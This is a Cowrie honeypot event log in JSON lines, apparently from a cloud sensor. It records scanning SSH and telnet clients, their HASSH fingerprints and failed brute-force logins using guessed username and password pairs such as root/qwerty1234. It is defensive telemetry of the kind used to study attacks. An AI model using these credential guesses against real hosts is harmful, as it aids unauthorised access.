{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:23.638266Z","src_ip":"181.218.9.86","session":"764a19e117e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":36254,"dst_ip":"10.17.0.5","dst_port":23,"session":"27df820af404","protocol":"telnet","message":"New connection: 107.150.146.69:36254 (10.17.0.5:23) [session: 27df820af404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:23.837267Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ward","message":"login attempt [root/ward] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:24.224640Z","src_ip":"181.218.9.86","session":"764a19e117e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:25.364706Z","src_ip":"181.218.9.86","session":"764a19e117e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.173147678375244,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:04:57.010301Z","src_ip":"107.150.146.69","session":"27df820af404","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:00.699347Z","src_ip":"101.126.22.12","session":"d52779d01c7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":50992,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b3e7db150dc","protocol":"ssh","message":"New connection: 2.57.122.238:50992 (10.17.0.5:22) [session: 9b3e7db150dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:17.386076Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:17.492894Z","src_ip":"2.57.122.238","session":"9b3e7db150dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51640,"dst_ip":"159.203.135.109","dst_port":23,"session":"a14e496cd0ce","protocol":"telnet","message":"New connection: 170.64.224.25:51640 (159.203.135.109:23) [session: a14e496cd0ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:27.870455Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51646,"dst_ip":"159.203.135.109","dst_port":23,"session":"df5e3fd4d92f","protocol":"telnet","message":"New connection: 170.64.224.25:51646 (159.203.135.109:23) [session: df5e3fd4d92f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:33.737342Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51662,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee29c382b83d","protocol":"telnet","message":"New connection: 170.64.224.25:51662 (159.203.135.109:23) [session: ee29c382b83d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:37.752282Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.130.227.33","src_port":59514,"dst_ip":"10.17.0.5","dst_port":22,"session":"5efc434eac30","protocol":"ssh","message":"New connection: 95.130.227.33:59514 (10.17.0.5:22) [session: 5efc434eac30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:39.941983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:39.945777Z","src_ip":"95.130.227.33","session":"5efc434eac30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:40.108224Z","src_ip":"95.130.227.33","session":"5efc434eac30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wen123456","message":"login attempt [root/wen123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:40.782957Z","src_ip":"95.130.227.33","session":"5efc434eac30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:41.946676Z","src_ip":"95.130.227.33","session":"5efc434eac30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":34054,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b240fc5ef0c","protocol":"ssh","message":"New connection: 77.94.47.83:34054 (159.203.135.109:22) [session: 9b240fc5ef0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:43.082603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:43.086924Z","src_ip":"77.94.47.83","session":"9b240fc5ef0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:43.196890Z","src_ip":"77.94.47.83","session":"9b240fc5ef0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"irina1983","message":"login attempt [root/irina1983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:43.529022Z","src_ip":"77.94.47.83","session":"9b240fc5ef0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54356,"dst_ip":"159.203.135.109","dst_port":23,"session":"a71dc569d7d7","protocol":"telnet","message":"New connection: 170.64.224.25:54356 (159.203.135.109:23) [session: a71dc569d7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:43.557137Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:44.643134Z","src_ip":"77.94.47.83","session":"9b240fc5ef0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":36040,"dst_ip":"159.203.135.109","dst_port":22,"session":"674f7e7579aa","protocol":"ssh","message":"New connection: 162.241.177.22:36040 (159.203.135.109:22) [session: 674f7e7579aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:48.830170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:48.834844Z","src_ip":"162.241.177.22","session":"674f7e7579aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:48.862497Z","src_ip":"162.241.177.22","session":"674f7e7579aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"celsiusnetwork","password":"celsius123","message":"login attempt [celsiusnetwork/celsius123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:48.948355Z","src_ip":"162.241.177.22","session":"674f7e7579aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:49.980236Z","src_ip":"162.241.177.22","session":"674f7e7579aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":54554,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d5556ad1a54","protocol":"ssh","message":"New connection: 191.7.26.153:54554 (159.203.135.109:22) [session: 9d5556ad1a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:54.378619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:54.382647Z","src_ip":"191.7.26.153","session":"9d5556ad1a54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:54.498993Z","src_ip":"191.7.26.153","session":"9d5556ad1a54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"our","password":"our","message":"login attempt [our/our] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:54.996784Z","src_ip":"191.7.26.153","session":"9d5556ad1a54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:05:56.124833Z","src_ip":"191.7.26.153","session":"9d5556ad1a54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.49335479736328,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:07.230566Z","src_ip":"170.64.224.25","session":"df5e3fd4d92f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.343494176864624,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:08.213851Z","src_ip":"170.64.224.25","session":"a14e496cd0ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":42488,"dst_ip":"10.17.0.5","dst_port":22,"session":"2df3dbfd39a2","protocol":"ssh","message":"New connection: 103.176.20.57:42488 (10.17.0.5:22) [session: 2df3dbfd39a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:12.637416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:12.641647Z","src_ip":"103.176.20.57","session":"2df3dbfd39a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:12.882783Z","src_ip":"103.176.20.57","session":"2df3dbfd39a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"010684","message":"login attempt [root/010684] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:13.603061Z","src_ip":"103.176.20.57","session":"2df3dbfd39a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:14.844918Z","src_ip":"103.176.20.57","session":"2df3dbfd39a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36606,"dst_ip":"159.203.135.109","dst_port":23,"session":"33149ab75f80","protocol":"telnet","message":"New connection: 170.64.224.25:36606 (159.203.135.109:23) [session: 33149ab75f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:18.198653Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.218.9.86","src_port":53830,"dst_ip":"159.203.135.109","dst_port":22,"session":"21341d45387a","protocol":"ssh","message":"New connection: 181.218.9.86:53830 (159.203.135.109:22) [session: 21341d45387a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:19.933275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:19.937213Z","src_ip":"181.218.9.86","session":"21341d45387a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:20.082460Z","src_ip":"181.218.9.86","session":"21341d45387a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0013439655304,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:20.576851Z","src_ip":"170.64.224.25","session":"a20d98e655cf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty1234","message":"login attempt [root/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:20.687361Z","src_ip":"181.218.9.86","session":"21341d45387a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:21.833719Z","src_ip":"181.218.9.86","session":"21341d45387a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.16833424568176,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:21.920527Z","src_ip":"170.64.224.25","session":"ee29c382b83d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":49382,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6926a529752","protocol":"telnet","message":"New connection: 107.150.146.69:49382 (10.17.0.5:23) [session: b6926a529752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:22.545140Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36622,"dst_ip":"159.203.135.109","dst_port":23,"session":"55681410eaee","protocol":"telnet","message":"New connection: 170.64.224.25:36622 (159.203.135.109:23) [session: 55681410eaee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:26.381539Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":54468,"dst_ip":"159.203.135.109","dst_port":23,"session":"965206db18e1","protocol":"telnet","message":"New connection: 170.64.224.25:54468 (159.203.135.109:23) [session: 965206db18e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:44.916132Z"}
